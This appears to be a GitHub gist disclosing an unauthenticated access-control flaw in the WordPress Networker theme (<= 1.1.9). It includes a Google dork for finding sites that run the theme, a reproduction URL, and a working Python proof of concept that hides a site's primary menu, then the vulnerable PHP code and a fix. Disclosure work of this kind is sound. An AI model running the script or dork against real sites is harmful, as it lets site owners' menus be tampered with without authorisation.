Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Xib3rR4dAr/ab293092ffcfe3c14a3c7daf5462a50b to your computer and use it in GitHub Desktop.
Save Xib3rR4dAr/ab293092ffcfe3c14a3c7daf5462a50b to your computer and use it in GitHub Desktop.
WP Networker theme <= 1.1.9 - Improper Access Control Allowing Unauthenticated Modification of Display location of any menu

WordPress Networker theme <= 1.1.9 - Improper Access Control Allowing Unauthenticated Modification of Display location of any menu

Exploit TitleWordPress Networker theme <= 1.1.9 - Improper Access Control Allowing Unauthenticated Modification of Display location of any menu
Exploit AuthorMuhammad Zeeshan (Xib3rR4dAr)
DateJanuary 26, 2024
Theme Linkhttps://themeforest.net/item/networker-tech-news-wordpress-theme-with-dark-mode/28749988
Version1.1.9 (latest version at time of vulnerability discovery)
Tested onWordpress 6.4.3
Vulnerable Endpoint/wp-admin/admin-ajax.php?action=csco_reload_menu
Vulnerable Filenetworker/inc/mega-menu.php#L86
Google Dorkintext:"Designed & Developed by Code Supply Co."
CVENot assigned yet

Description

Networker is a premium WordPress theme for Tech News Magazaines. During it's source code analysis, an endpoint was found accessible without authentication that allowed to modify display location of any menu e.g. menus can be marked as footer so they are displayed in footer or can be removed from primary to completely hide menus from being displayed at top of page.

Vulnerable Endpoint accessible without authentication: /wp-admin/admin-ajax.php?action=csco_reload_menu&menu_id=numeric_menu_id_here&menu_name=menu-locations%5Bmenu_location_here%5D&menu_checked=1_or_0

Impact

An unauthenticated attacker can modify display location of any menu to hide menus and view hidden menus.

Reproduction Steps

Visiting following URL will unmark menu 2 as primary and wont be displayed on website:

/wp-admin/admin-ajax.php?action=csco_reload_menu&menu_id=2&menu_name=menu-locations%5Bprimary%5D&menu_checked=0

Or execute PoC code with python and specify WordPress URL when asked.

Proof of Concept

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Uncomment to use proxy
proxyDict = {
    #"http": "http://127.0.0.1:9090",
    #"https": "http://127.0.0.1:9090"
}

wpurl = input("\nWordPress URL: ")  # https://shanamigans.com

menu_id = 99999999
menu_location = "invalid"
menu_checked = 1

exploit_url = f"wp-admin/admin-ajax.php"

headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15"
}

url = f"{wpurl}/{exploit_url}"

data = {
    "action": "csco_reload_menu",
    "menu_id": menu_id,
    "menu_name": f"menu-locations[{menu_location}]",
    "menu_checked": menu_checked,
}

init_resp = requests.post(
    url, data=data, headers=headers, proxies=proxyDict, verify=False
)

networker_theme = 0

if init_resp.status_code == 200:
    if init_resp.text == "0":
        networker_theme = 1
        print("Networker Theme detected")

menu_id = 0
menu_location = "primary"
menu_checked = 0

if networker_theme:
    while True:
        url = f"{wpurl}/{exploit_url}"
        data = {
            "action": "csco_reload_menu",
            "menu_id": menu_id,
            "menu_name": f"menu-locations[{menu_location}]",
            "menu_checked": menu_checked,
        }
        response = requests.post(
            url, data=data, headers=headers, proxies=proxyDict, verify=False
        )

        if response.status_code == 200:
            if response.text == "0":
                print(f"[*] Menu #{menu_id} returned 0, incrementing menu id by 1")
                menu_id += 1
            else:
                print(f"[!] Menu #{menu_id} returned something.")
                print(f"[!] Check {wpurl} now, menu #{menu_id} would be gone. Other Menu ids might also exist but not tested.")
                break
        else:
            print(f"Error: Status Code {response.status_code}. Exiting loop.")
            break

Vulnerable Code

... Line 86
		add_action( 'wp_ajax_nopriv_csco_reload_menu', array( $this, 'admin_reload_nav_menu' ) );
... Line 218
	/**
	 * Refresh menu item fields
	 *
	 * @since   1.0.0
	 */
	public function admin_reload_nav_menu() {
		wp_verify_nonce( null );

		$nav_menu_selected_id = isset( $_REQUEST['menu_id'] ) ? (int) $_REQUEST['menu_id'] : 0; // Input var okay.

		$menu_name    = isset( $_REQUEST['menu_name'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['menu_name'] ) ) : false; // Input var okay.
		$menu_checked = isset( $_REQUEST['menu_checked'] ) ? (bool) $_REQUEST['menu_checked'] : false; // Input var okay.

		// Get Menu Location.
		preg_match( '/^menu-locations\[(.*?)\]/', $menu_name, $matches );

		$menu_location = isset( $matches[1] ) ? $matches[1] : false;

		if ( is_nav_menu( $nav_menu_selected_id ) && $menu_location ) {

			// Load WP Nav Menu.
			require_once ABSPATH . 'wp-admin/includes/nav-menu.php';

			// Get All Locations.
			$menu_locations = get_nav_menu_locations();

			// Set|Unset Menu to Locations List.
			if ( $menu_checked ) {
				$menu_locations[ $menu_location ] = $nav_menu_selected_id;
			} else {
				if ( isset( $menu_locations[ $menu_location ] ) ) {
					unset( $menu_locations[ $menu_location ] );
				}
			}

			// Set Edited Menu Locations.
			set_theme_mod( 'nav_menu_locations', $menu_locations );

			// Get Nav Menu HTML.
			$edit_markup = wp_get_nav_menu_to_edit( $nav_menu_selected_id );

			if ( ! is_wp_error( $edit_markup ) ) {
				echo (string) $edit_markup; // XSS.
			}
		}
	}

Screenshots

Action csco_reload_menu is accessible to authenticated as well as unauthenticated users.

image

Code executed when action is csco_reload_menu

image

Before exploit

image

Running exploit

image

Raw request and response

image

After exploit (Primary Menu is now hidden)

image

Fix

Remove following from line 86 of wp-content/themes/networker/inc/mega-menu.php so that action is not accessible without authentication.

add_action( 'wp_ajax_nopriv_csco_reload_menu', array( $this, 'admin_reload_nav_menu' ) );
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment